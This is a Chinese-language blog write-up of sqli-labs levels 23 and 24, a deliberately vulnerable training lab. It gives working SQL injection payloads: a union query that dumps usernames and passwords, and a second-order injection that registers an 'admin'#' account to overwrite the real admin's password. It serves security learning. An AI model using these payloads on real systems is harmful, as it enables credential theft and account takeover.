sqli--labs 进阶篇 23_24关

【第二十三关】 基于单引号的过滤字符注入

Ⅰ 直接爆点

测试是否报错,从下面的提示信息,可以知道是单引号

?id='

image.png

Ⅱ 代码审计

进一步确定自己的推论,源码中,存在过滤掉一些注释语句
image.png

?id=-1'

image.png
推测结构: ‘参数XX’ limit 0,1

利用回显确定下自己的推测

?id=-1' union select 1,2,3 

实际执行:‘-1’ union select 1,2,3 ’ limit 0,1
多出一个单引号,需要注释掉
image.png

构造playload

id=-1' union select 1,2,'3

image.png

Ⅲ 注入时间

(1)爆数据库

image.png
image.png.

(2)爆数据
?id=-1' union select 1,(select group_concat(id,'~',username,'~',password) from security.users),'3

image.png

【第二十四关】二阶注入

Ⅰ 观察

可注册账号密码,不可以找回密码
image.png
image.png
image.png

万能注入,不行
image.png
到这里,自己没有什么思路,不知道怎么注入,看了下题目讲到二阶注入,猜测我们需要在注册账号上入手

Ⅱ 代码审计

源码文件,重要的只有四个,下面就依次看一下源码文件的具体功能
image.png
forgot_password.php 忘记密码处理页面
只显示图片,不用看
image.png
login.php 登录用户处理
登录界面,存在过滤和转义,不好从这里入手
image.png
login_create.php 新建用户处理
情况和上一个一样
image.png
pass_change.php 登录成功后,有更新操作的处理
更新账号密码时,账户信息没有过滤,是直接更新的,可以利用!!
解析下那个更新sql语句
在这里插入图片描述

-- 开始注入,我们在这里,如果注册了一个账户admin
  username= admin'#  curr_pass=123   
-- 并进行,修改密码
	pass = 000

-- 开始执行修改操作
  "UPDATE users SET PASSWORD='000' where username='admin'#' and passwoorrd ='123' ";
 -- 注:csdn有审计,过滤password,这里的passwoorrd相对于password

-- 实际执行,看似我们是修改admin'#,实际上是修改了admin的密码
  "UPDATE users SET PASSWORD='000' where username='admin'
  

image.png

Ⅲ 注入时间

注册一个新的,账号:admin’# ,密码:123
image.png

登录进去
image.png
成功进去,开始修改密码
原密码:123
修改后:000
image.png
admin和刚刚修改的密码,直接登录进入,通过注册一个含有特殊字符的账号,再修改密码,从而修改掉原本的数据库中已存在的账号信息
image.png
image.png

参考资料:https://www.bbsmax.com/A/KE5Q4o63JL/

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值